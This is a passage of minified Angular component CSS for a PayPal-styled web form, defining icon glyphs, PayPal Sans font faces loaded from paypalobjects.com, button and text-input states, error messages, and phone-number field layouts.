content-%COMP%]:before{content:"\\e049"}.icon-simple-list-small[_ngcontent-%COMP%]:before{content:"\\e050"}.icon-detailed-list-small[_ngcontent-%COMP%]:before{content:"\\e051"}.icon-print-small[_ngcontent-%COMP%]:before{content:"\\e052"}.icon-camera-small[_ngcontent-%COMP%]:before{content:"\\e053"}.icon-send-money[_ngcontent-%COMP%]:before{content:"\\e500"}.icon-request-money[_ngcontent-%COMP%]:before{content:"\\e501"}.icon-photo[_ngcontent-%COMP%]:before{content:"\\e502"}.icon-gift-cards[_ngcontent-%COMP%]:before{content:"\\e503"}.icon-credit-card[_ngcontent-%COMP%]:before{content:"\\e504"}.icon-truck[_ngcontent-%COMP%]:before{content:"\\e505"}.icon-email[_ngcontent-%COMP%]:before{content:"\\e506"}.icon-email-solid[_ngcontent-%COMP%]:before{content:"\\e507"}.icon-bank-check[_ngcontent-%COMP%]:before{content:"\\e508"}.icon-calendar[_ngcontent-%COMP%]:before{content:"\\e509"}.icon-holiday[_ngcontent-%COMP%]:before{content:"\\e510"}.icon-gift[_ngcontent-%COMP%]:before{content:"\\e511"}.icon-wallet[_ngcontent-%COMP%]:before{content:"\\e512"}.icon-play-video[_ngcontent-%COMP%]:before{content:"\\e513"}.icon-heart[_ngcontent-%COMP%]:before{content:"\\e514"}.icon-shield[_ngcontent-%COMP%]:before{content:"\\e515"}.icon-tunes[_ngcontent-%COMP%]:before{content:"\\e516"}.icon-invoice[_ngcontent-%COMP%]:before{content:"\\e517"}.icon-shopping-bag[_ngcontent-%COMP%]:before{content:"\\e518"}.icon-phone[_ngcontent-%COMP%]:before{content:"\\e519"}.icon-phone-solid[_ngcontent-%COMP%]:before{content:"\\e520"}.icon-tag[_ngcontent-%COMP%]:before{content:"\\e521"}.icon-delivery[_ngcontent-%COMP%]:before{content:"\\e522"}.icon-questionmark[_ngcontent-%COMP%]:before{content:"\\e523"}.icon-cut-coupons[_ngcontent-%COMP%]:before{content:"\\e524"}.icon-register[_ngcontent-%COMP%]:before{content:"\\e525"}.icon-house[_ngcontent-%COMP%]:before{content:"\\e526"}.icon-gift-card[_ngcontent-%COMP%]:before{content:"\\e527"}.icon-messages[_ngcontent-%COMP%]:before{content:"\\e528"}@-webkit-keyframes rotation{0%{transform:rotate(0)}to{transform:rotate(359deg)}}@keyframes rotation{0%{transform:rotate(0)}to{transform:rotate(359deg)}}@-webkit-keyframes rightToLeft{0%{transform:translate(100%)}to{transform:translate(0)}}@font-face{font-family:pp-sans-big-bold;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Bold.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Bold.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Bold.woff) format("woff"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Bold.svg) format("svg")}@font-face{font-family:pp-sans-big-light;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Light.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Light.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/paypal-ui/fonts/PayPalSansBig-Light.woff2) format("woff2"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Light.svg) format("svg")}@font-face{font-family:pp-sans-big-medium;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Medium.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Medium.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/paypal-ui/fonts/PayPalSansBig-Medium.woff2) format("woff2"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Medium.svg) format("svg")}@font-face{font-family:pp-sans-big-regular;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Regular.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Regular.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/paypal-ui/fonts/PayPalSansBig-Regular.woff2) format("woff2"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Regular.svg) format("svg")}@font-face{font-family:pp-sans-big-thin;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Thin.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Thin.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Thin.woff) format("woff"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansBig-Thin.svg) format("svg")}@font-face{font-family:pp-sans-small-bold;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Bold.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Bold?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Bold.woff) format("woff"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Bold.svg) format("svg")}@font-face{font-family:pp-sans-small-light;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Light.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Light.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Light.woff) format("woff"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Light.svg) format("svg")}@font-face{font-family:pp-sans-small-medium;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Medium.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Medium.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Medium.woff) format("woff"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Medium.svg) format("svg")}@font-face{font-family:pp-sans-small-regular;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Regular.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Regular.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Regular.woff) format("woff"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Regular.svg) format("svg")}@font-face{font-family:pp-sans-small-thin;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Thin.eot);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Thin.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Thin.woff) format("woff"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/font/PP-Sans/PayPalSansSmall-Thin.svg) format("svg")}.pp-sans-big-bold[_ngcontent-%COMP%]{font-family:pp-sans-big-bold,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.pp-sans-big-light[_ngcontent-%COMP%]{font-family:pp-sans-big-light,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.pp-sans-big-medium[_ngcontent-%COMP%]{font-family:pp-sans-big-medium,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.pp-sans-big-regular[_ngcontent-%COMP%]{font-family:pp-sans-big-regular,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.pp-sans-small-bold[_ngcontent-%COMP%]{font-family:pp-sans-small-bold,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.pp-sans-small-light[_ngcontent-%COMP%]{font-family:pp-sans-small-light,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.pp-sans-small-medium[_ngcontent-%COMP%]{font-family:pp-sans-small-medium,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.pp-sans-small-regular[_ngcontent-%COMP%]{font-family:pp-sans-small-regular,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.pp-sans-small-thin[_ngcontent-%COMP%]{font-family:pp-sans-small-thin,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.main[_ngcontent-%COMP%] .headContainer[_ngcontent-%COMP%]{margin-bottom:10px}.injectedUlLayout[_ngcontent-%COMP%]{display:block!important}html.mobile[_ngcontent-%COMP%], body.mobile[_ngcontent-%COMP%]{height:100%}@media all and (max-width: 767px){*[_ngcontent-%COMP%]{-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none}header.headContainer[_ngcontent-%COMP%]{width:100%}}a.button[_ngcontent-%COMP%], a.button[_ngcontent-%COMP%]:link, a.button[_ngcontent-%COMP%]:visited, .button[_ngcontent-%COMP%]{width:100%;min-height:44px;padding:12px 32px;border:0;display:block;margin-top:8px;margin-bottom:8px;background-color:#0070ba;box-shadow:none;border-radius:4px;box-sizing:border-box;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;-o-appearance:none;appearance:none;-webkit-tap-highlight-color:transparent;color:#fff;font-size:1em;text-align:center;font-weight:700;font-family:HelveticaNeue-Medium,"Helvetica Neue Medium",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;text-shadow:none;text-decoration:none;transition:color .2s ease,background-color .2s ease,border-color .2s ease,box-shadow .2s ease;-webkit-font-smoothing:antialiased}a.button[_ngcontent-%COMP%]:hover, a.button[_ngcontent-%COMP%]:link:hover, a.button[_ngcontent-%COMP%]:visited:hover, .button[_ngcontent-%COMP%]:hover{background-color:#003087;outline:0}a.button[_ngcontent-%COMP%]:focus, a.button[_ngcontent-%COMP%]:link:focus, a.button[_ngcontent-%COMP%]:visited:focus, .button[_ngcontent-%COMP%]:focus{background-color:#003087;text-decoration:underline;outline:0;border:.125rem solid #0070ba;box-shadow:0 0 0 .25rem #bfdbee}a.button[_ngcontent-%COMP%]:focus *[_ngcontent-%COMP%], a.button[_ngcontent-%COMP%]:link:focus *[_ngcontent-%COMP%], a.button[_ngcontent-%COMP%]:visited:focus *[_ngcontent-%COMP%], .button[_ngcontent-%COMP%]:focus *[_ngcontent-%COMP%]{text-decoration:underline}a.button.active[_ngcontent-%COMP%], a.button[_ngcontent-%COMP%]:link.active, a.button[_ngcontent-%COMP%]:visited.active, .button.active[_ngcontent-%COMP%], a.button[_ngcontent-%COMP%]:active, a.button[_ngcontent-%COMP%]:link:active, a.button[_ngcontent-%COMP%]:visited:active, .button[_ngcontent-%COMP%]:active{background:#003087}a.button.secondary[_ngcontent-%COMP%], a.button[_ngcontent-%COMP%]:link.secondary, a.button[_ngcontent-%COMP%]:visited.secondary, .button.secondary[_ngcontent-%COMP%]{background-color:#fff;color:#0070ba;border:.0625rem solid #0070ba;transition:color .2s ease,background-color .2s ease,border-color .2s ease,box-shadow .2s ease}a.button.secondary[_ngcontent-%COMP%]:hover, a.button[_ngcontent-%COMP%]:link.secondary:hover, a.button[_ngcontent-%COMP%]:visited.secondary:hover, .button.secondary[_ngcontent-%COMP%]:hover{background:0 0;border-color:#003087;box-shadow:inset 0 0 0 .0625rem #003087;color:#003087}a.button.secondary[_ngcontent-%COMP%]:focus, a.button[_ngcontent-%COMP%]:link.secondary:focus, a.button[_ngcontent-%COMP%]:visited.secondary:focus, .button.secondary[_ngcontent-%COMP%]:focus{background:0 0;border-color:#003087;box-shadow:inset 0 0 0 .0625rem #003087;color:#003087;text-decoration:underline;outline:0;border:.125rem solid #0070ba;box-shadow:0 0 0 .25rem #bfdbee}a.button[_ngcontent-%COMP%], a.button[_ngcontent-%COMP%]:link, a.button[_ngcontent-%COMP%]:visited{padding:11px}.buttonMoreAccessible[_ngcontent-%COMP%]{background:#005583}.buttonMoreAccessible[_ngcontent-%COMP%]:hover, .buttonMoreAccessible[_ngcontent-%COMP%]:focus{background:#004165}.actionsSpaced[_ngcontent-%COMP%]{margin-top:30px}.actionsSpacedShort[_ngcontent-%COMP%]{margin-top:20px}.buttonAsLink[_ngcontent-%COMP%]{color:#0079ad}.buttonAsLink[_ngcontent-%COMP%] button[_ngcontent-%COMP%], .buttonAsLink[_ngcontent-%COMP%] input[type=submit][_ngcontent-%COMP%]{display:inline;overflow:visible;border:0;padding:0;background:0 0;color:#0070ba;font-family:HelveticaNeue-Medium,"Helvetica Neue Medium",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:1em;text-align:left;text-decoration:none;vertical-align:baseline;cursor:pointer;box-shadow:none}.buttonAsLink[_ngcontent-%COMP%]::-moz-focus-inner{border:0;padding:0}.buttonAsLink[_ngcontent-%COMP%]:hover, .buttonAsLink[_ngcontent-%COMP%] [_ngcontent-%COMP%]:focus{text-decoration:underline;outline:0}.button[_ngcontent-%COMP%]{font-family:pp-sans-big-medium,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal;font-size:15px;border-radius:25px;height:48px}[_ngcontent-%COMP%]::-webkit-input-placeholder{font-family:HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;color:#6c7378;text-align:left}[_ngcontent-%COMP%]:-moz-placeholder{font-family:HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;color:#6c7378;text-align:left}[_ngcontent-%COMP%]::-moz-placeholder{font-family:HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;color:#6c7378;text-align:left}[_ngcontent-%COMP%]:-ms-input-placeholder{font-family:HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;color:#6c7378;text-align:left}.fieldWrapper[_ngcontent-%COMP%]{position:relative;z-index:2;width:100%}.errorMessage[_ngcontent-%COMP%]{position:absolute;top:1px;left:0;z-index:1;width:100%;height:0;opacity:1;border:1px solid #e00200;border-radius:0 0 4px 4px;background:#fff;border-top:hidden;transition:all .3s ease-out}.errorMessage[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{margin:0;color:#2c2e2f;font-family:pp-sans-small-light,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.errorMessage.show[_ngcontent-%COMP%]{top:54px;padding:10px;height:auto;border-radius:0 0 4px 4px;border:1px solid #e00200;background:#fff7f7;text-align:left}.clearInput[_ngcontent-%COMP%]{position:absolute;top:13px;right:13px;width:18px;height:18px;border-radius:18px;margin:0;padding:0;background:#ccc;text-indent:-99999em;direction:ltr}.lower-than-ie10[_ngcontent-%COMP%] .clearInput[_ngcontent-%COMP%]{top:31px}.clearInput[_ngcontent-%COMP%]:before{content:"X";position:absolute;top:0;left:4px;text-indent:0}.ie[_ngcontent-%COMP%] .clearInput[_ngcontent-%COMP%]:before{top:2px}.clearInput[_ngcontent-%COMP%]:focus, .clearInput[_ngcontent-%COMP%]:hover{background:#999}.hasError[_ngcontent-%COMP%] .clearInput[_ngcontent-%COMP%], .no-js[_ngcontent-%COMP%] .clearInput[_ngcontent-%COMP%]{display:none}.textInput[_ngcontent-%COMP%]{position:relative}.textInput[_ngcontent-%COMP%] .fieldWrapper[_ngcontent-%COMP%]:before{content:"";display:block;z-index:-1;position:absolute;top:0;width:100%;height:40px;background-color:#fff;border-radius:5px}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{border:.0625rem solid #e00200;background-image:url(https://www.paypalobjects.com/webstatic/i/consumer/onboarding/sprite_form_2x.png);background-position:99% -402px;background-position:top -402px right 10px;background-size:25px;background-repeat:no-repeat}.lower-than-ie9[_ngcontent-%COMP%] .textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{background-position:right -804px}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:-moz-placeholder{color:#e00200}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]::-moz-placeholder{color:#e00200}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:-ms-input-placeholder{color:#e00200}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]::-webkit-input-placeholder{color:#e00200}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:focus, .textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:active{border:.0625rem solid #e00200;box-shadow:inset 0 0 0 .0625rem #e00200}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:focus:-moz-placeholder, .textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:active:-moz-placeholder{color:#9b989b}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:focus::-moz-placeholder, .textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:active::-moz-placeholder{color:#9b989b}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:focus:-ms-input-placeholder, .textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:active:-ms-input-placeholder{color:#9b989b}.textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:focus::-webkit-input-placeholder, .textInput.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:active::-webkit-input-placeholder{color:#9b989b}.textInput[_ngcontent-%COMP%] .fieldLabel[_ngcontent-%COMP%]{position:absolute;color:#6c7378;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);padding:0;border:0;height:1px;width:1px;overflow:hidden}.textInput[_ngcontent-%COMP%] input[_ngcontent-%COMP%], .textInput[_ngcontent-%COMP%] textarea[_ngcontent-%COMP%]{height:56px;width:100%;padding:0 10px;margin-bottom:12px;border:.0625rem solid #9da3a6;background:#fff;text-overflow:ellipsis;box-sizing:border-box;border-radius:4px;box-shadow:none;color:#000;font-size:16px;font-family:pp-sans-small-regular,Helvetica Neue,Arial,sans-serif;font-feature-settings:normal;font-variant:normal;font-weight:400;direction:ltr}.textInput[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:focus, .textInput[_ngcontent-%COMP%] textarea[_ngcontent-%COMP%]:focus{outline:0;border:.0625rem solid #009cde;box-shadow:inset 0 0 0 .0625rem #009cde;background-color:#fff}.textInput[_ngcontent-%COMP%] textarea[_ngcontent-%COMP%]{padding-top:12px;padding-right:0;height:100%;overflow:auto}.textInput[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:not([type="submit"]):not([type="radio"]):not([type="checkbox"]){-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;transition:border .2s ease-in-out,background-color .2s ease-in-out}.textInput[_ngcontent-%COMP%] .tickmark[_ngcontent-%COMP%]{width:35px;height:35px;margin-top:2px;right:5px;float:right;position:absolute;z-index:3;text-align:center;cursor:pointer;background-position:0 69%}.textInput[_ngcontent-%COMP%] .hasPhoneIcon[_ngcontent-%COMP%]{padding-right:35px}.textInput[_ngcontent-%COMP%] .hasEmailIcon[_ngcontent-%COMP%]{padding-right:43px}.textInput[_ngcontent-%COMP%] .uneditableField[_ngcontent-%COMP%]{border:0;text-align:center;font-family:HelveticaNeue-Medium,"Helvetica Neue Medium",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}.textInput[_ngcontent-%COMP%] .uneditableField.uneditablePhone[_ngcontent-%COMP%]{padding-left:40px}.textInput[_ngcontent-%COMP%] .uneditableField[_ngcontent-%COMP%]:focus{border:0}.textInput[_ngcontent-%COMP%] input[type=number][_ngcontent-%COMP%]::-webkit-inner-spin-button, .textInput[_ngcontent-%COMP%] input[type=number][_ngcontent-%COMP%]::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;margin:0}.textInput[_ngcontent-%COMP%] input[type=number][_ngcontent-%COMP%]{-moz-appearance:textfield;-webkit-appearance:textfield}.js[_ngcontent-%COMP%] .lap[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%], .js[_ngcontent-%COMP%] div.lap.textInput[_ngcontent-%COMP%]{padding:0;position:relative}.js[_ngcontent-%COMP%] .lap[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] label[_ngcontent-%COMP%], .js[_ngcontent-%COMP%] div.lap.textInput[_ngcontent-%COMP%] label[_ngcontent-%COMP%]{position:absolute;left:12px;z-index:1;color:#666;cursor:text}.js[_ngcontent-%COMP%] .lap[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] label.focus[_ngcontent-%COMP%], .js[_ngcontent-%COMP%] div.lap.textInput[_ngcontent-%COMP%] label.focus[_ngcontent-%COMP%], .js[_ngcontent-%COMP%] div.lap.textInput[_ngcontent-%COMP%] label.focus[_ngcontent-%COMP%] span.optional[_ngcontent-%COMP%], .js[_ngcontent-%COMP%] .lap[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] label.focus[_ngcontent-%COMP%] span.optional[_ngcontent-%COMP%]{color:#b3b3b3}.js[_ngcontent-%COMP%] .lap[_ngcontent-%COMP%] .textInput.medium[_ngcontent-%COMP%], .js[_ngcontent-%COMP%] div.lap.textInput.medium[_ngcontent-%COMP%]{padding:0;position:relative}.js[_ngcontent-%COMP%] .lap[_ngcontent-%COMP%] .textInput.medium[_ngcontent-%COMP%] label.focus[_ngcontent-%COMP%], .js[_ngcontent-%COMP%] .formMedium[_ngcontent-%COMP%] div.lap.textInput.medium[_ngcontent-%COMP%] label.focus[_ngcontent-%COMP%]{color:#b3b3b3}.js[_ngcontent-%COMP%] .lap[_ngcontent-%COMP%] .textInput.medium[_ngcontent-%COMP%] label[_ngcontent-%COMP%], .js[_ngcontent-%COMP%] div.lap.textInput.medium[_ngcontent-%COMP%] label[_ngcontent-%COMP%]{position:absolute;left:12px;z-index:1;color:#666}.groupFields[_ngcontent-%COMP%]{clear:both}.groupFields[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%]{width:48.9%;float:left}.groupFields[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{width:100%}.groupFields[_ngcontent-%COMP%] .left[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .middle[_ngcontent-%COMP%]{margin-right:10px}.groupFields[_ngcontent-%COMP%] .multi[_ngcontent-%COMP%] .left[_ngcontent-%COMP%]{width:72.5%;float:left}.groupFields[_ngcontent-%COMP%] .multi[_ngcontent-%COMP%] .right[_ngcontent-%COMP%]{width:25%;float:left}.groupFields[_ngcontent-%COMP%] .multi.equal[_ngcontent-%COMP%] .left[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multi.equal[_ngcontent-%COMP%] .right[_ngcontent-%COMP%]{width:48.6%}.groupFields[_ngcontent-%COMP%] .reverse[_ngcontent-%COMP%] .right[_ngcontent-%COMP%]{width:72.3%}.groupFields[_ngcontent-%COMP%] .reverse[_ngcontent-%COMP%] .left[_ngcontent-%COMP%]{width:25%}.groupFields[_ngcontent-%COMP%] .multiple[_ngcontent-%COMP%] .left[_ngcontent-%COMP%]{width:48.8%;float:left}.groupFields[_ngcontent-%COMP%] .multiple[_ngcontent-%COMP%] .right[_ngcontent-%COMP%]{width:25%;float:left}.groupFields[_ngcontent-%COMP%] .multiple[_ngcontent-%COMP%] .middle[_ngcontent-%COMP%]{width:21.4%;float:left}.groupFields[_ngcontent-%COMP%] .multiple.equal[_ngcontent-%COMP%] .left[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multiple.equal[_ngcontent-%COMP%] .right[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multiple.equal[_ngcontent-%COMP%] .middle[_ngcontent-%COMP%]{width:31.8%}.groupFields[_ngcontent-%COMP%] .large[_ngcontent-%COMP%]{width:100%}.groupReatedFields[_ngcontent-%COMP%] .left[_ngcontent-%COMP%]{width:27%;float:left}.groupReatedFields[_ngcontent-%COMP%] .right[_ngcontent-%COMP%]{width:73%;float:left}.groupReatedFields[_ngcontent-%COMP%] .selectDropdown[_ngcontent-%COMP%]{border-right:0;border-top-right-radius:0;border-bottom-right-radius:0}.groupReatedFields[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{border-top-left-radius:0;border-bottom-left-radius:0}@media all and (min-width: 768px) and (max-width: 1024px){.groupFields[_ngcontent-%COMP%] .multi.equal[_ngcontent-%COMP%] .left[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multi.equal[_ngcontent-%COMP%] .right[_ngcontent-%COMP%]{width:48.4%}}@media all and (min-width: 768px) and (max-width: 1024px) and (orientation: portrait){.groupFields[_ngcontent-%COMP%] .multi.equal[_ngcontent-%COMP%] .left[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multi.equal[_ngcontent-%COMP%] .right[_ngcontent-%COMP%]{width:48.2%}}@media all and (max-width: 538px){.groupFields[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multi[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multiple[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .selectDropdown[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multi[_ngcontent-%COMP%] .selectDropdown[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multiple[_ngcontent-%COMP%] .selectDropdown[_ngcontent-%COMP%]{width:100%}}@media all and (max-width: 767px){.groupFields[_ngcontent-%COMP%] .multi.equal[_ngcontent-%COMP%] .left[_ngcontent-%COMP%], .groupFields[_ngcontent-%COMP%] .multi.equal[_ngcontent-%COMP%] .right[_ngcontent-%COMP%]{width:48.2%}}html[dir=rtl][_ngcontent-%COMP%] .hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{padding-left:45px}.countryPhoneSelectWrapper[_ngcontent-%COMP%]{height:44px;width:90px;border-right:1px solid #9da3a6;position:absolute;z-index:101;left:0;direction:ltr}.countryPhoneSelectWrapper[_ngcontent-%COMP%] .countryPhoneSelect[_ngcontent-%COMP%]{position:relative;height:44px;width:100px;border:0;background:0 0;opacity:0;z-index:1;direction:ltr}.countryPhoneSelectWrapper[_ngcontent-%COMP%] .countryPhoneSelectChoice[_ngcontent-%COMP%]{position:absolute;top:3px;left:0;height:44px;display:table;width:100%;border-radius:5px;font-size:12px}.countryPhoneSelectWrapper[_ngcontent-%COMP%] .countryPhoneSelectChoice[_ngcontent-%COMP%]:after{content:"";position:absolute;top:5px;left:62px;height:8px;width:8px;margin:8px 0 0 8px;-moz-border-bottom-colors:none;-moz-border-left-colors:none;-moz-border-right-colors:none;-moz-border-top-colors:none;border-color:#333;-o-border-image:none;border-image:none;border-style:solid;border-width:1px 1px 0 0;transform:rotate(135deg)}.countryPhoneSelectWrapper[_ngcontent-%COMP%] .countryCode[_ngcontent-%COMP%], .countryPhoneSelectWrapper[_ngcontent-%COMP%] .phoneCode[_ngcontent-%COMP%]{display:table-cell;vertical-align:middle}.countryPhoneSelectWrapper[_ngcontent-%COMP%] .countryCode[_ngcontent-%COMP%]{position:relative;text-align:center;color:#fff;font-weight:700}.countryPhoneSelectWrapper[_ngcontent-%COMP%] .phoneCode[_ngcontent-%COMP%]{padding-left:4px;width:62%}.countryPhoneSelectWrapper[_ngcontent-%COMP%] .countryCode[_ngcontent-%COMP%]:before{content:"";position:absolute;top:10px;left:4px;width:80%;height:22px;background:#0079ad;border-radius:5px;z-index:-1}.focus[_ngcontent-%COMP%]{border:1px solid #296fb4!important;border-bottom-left-radius:4px;border-top-left-radius:4px}.phoneInputWrapper.textInput[_ngcontent-%COMP%] div[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{padding-left:95px;padding-top:0}.icon[_ngcontent-%COMP%]{position:absolute;top:0;right:0;width:40px;height:37px;padding:0;background:0;border:0;color:#009cde;text-indent:-9999px;direction:ltr}.lower-than-ie9[_ngcontent-%COMP%] .icon[_ngcontent-%COMP%]{position:static;display:block;height:auto;margin-top:2px;text-indent:0;width:auto}.lower-than-ie10[_ngcontent-%COMP%] .iconPhone[_ngcontent-%COMP%]{top:17px}.iconPhone[_ngcontent-%COMP%]:before{content:"l";position:absolute;right:-7px;top:-5px;text-indent:0;font-size:50px}.lower-than-ie10[_ngcontent-%COMP%] .iconEmail[_ngcontent-%COMP%]{top:16px}.iconEmail[_ngcontent-%COMP%]:before{content:"n";position:absolute;top:-5px;right:-3px;text-indent:0;font-size:50px}.hasError[_ngcontent-%COMP%] .icon[_ngcontent-%COMP%]{display:none}.splitPhoneSection[_ngcontent-%COMP%]{margin-bottom:16px}.splitPhoneSection.adjustSection[_ngcontent-%COMP%]{margin-bottom:7.08%}.splitPinSection[_ngcontent-%COMP%] 